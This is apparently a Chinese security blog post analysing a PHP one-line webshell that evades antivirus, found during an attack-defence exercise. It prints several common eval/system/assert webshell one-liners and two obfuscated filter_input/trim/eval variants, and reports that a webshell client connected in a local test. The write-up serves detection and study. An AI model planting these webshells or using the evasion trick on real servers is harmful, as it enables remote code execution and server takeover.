在前段攻防演练中发现一种新型的免杀PHP一句话木马,当时服务器所安装的杀毒软件未进行检出和报毒,本篇文章通过本地环境复现,学习和分享一下该种类型的PHP一句话木马。
0x00 什么是一句话木马?
一句话木马是一种短小精悍的恶意代码,通常只有一行之长。这种木马可以利用一些漏洞,以上传文件、修改配置等方式将恶意代码植入到受害者服务器上,然后通过一些特殊手法在服务器端执行,以达到入侵控制目的。
一句话木马具有体积小、隐蔽性强等特点,这使得它在黑客攻击中非常常见。利用其特点,攻击者可以轻松地将其隐藏在正常的网页或文件中,难以被察觉。
常见的PHP一句话木马:
-
<?php @eval($_POST['password']);?>
-
<?php system($_REQUEST['cmd']); ?>
-
<?php @assert($_POST['cmd']); ?>
0x01 免杀PHP一句话木马
免杀php一句话木马其实就是常见写法的变种,在使用函数上和写法上改变,使杀毒软件无法识别,本次发现的有两种写法:
filter_input(INPUT_POST,'1@A');EvAl/**/(trim($a)); $a =
EvAl(trim(filter_input(INPUT_POST,'1@A')));
通过分析代码可以看出功能为利用eval()函数来执行经过trim()和filter_input()处理的POST请求数据。
-
trim() 移除字符串两侧的空白字符或其他预定义字符。
-
filter_input() 通过名称获取特定的外部变量,并且可以通过过滤器处理它。
攻击者采用与常见php一句话木马不同的方式获取参数,通过filter_input(INPUT_POST, '1@A')从POST请求中获取名为'1@A'的参数,并使用trim()函数去除其前后的空白字符,最后传入eval()函数来执行任意代码。
0x02 实际测试
将该PHP脚本写入服务器,使用指定的过滤字符串作为连接密码,可正常连接成功。
连接后Webshell正常使用。
测试另外一种写法,仍可正常连接。
如果您觉得内容还不错的话,请关注我吧!
建议把公众号“篝火信安”设为星标,否则可能就看不到啦!因为公众号现在只对常读和星标的公众号才能展示大图推送。
操作方法:点击公众号页面右上角的【...】,然后点击【设为星标】即可。
原文始发于微信公众号(篝火信安):安全运营 | 记一次简单的免杀PHP一句话木马分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论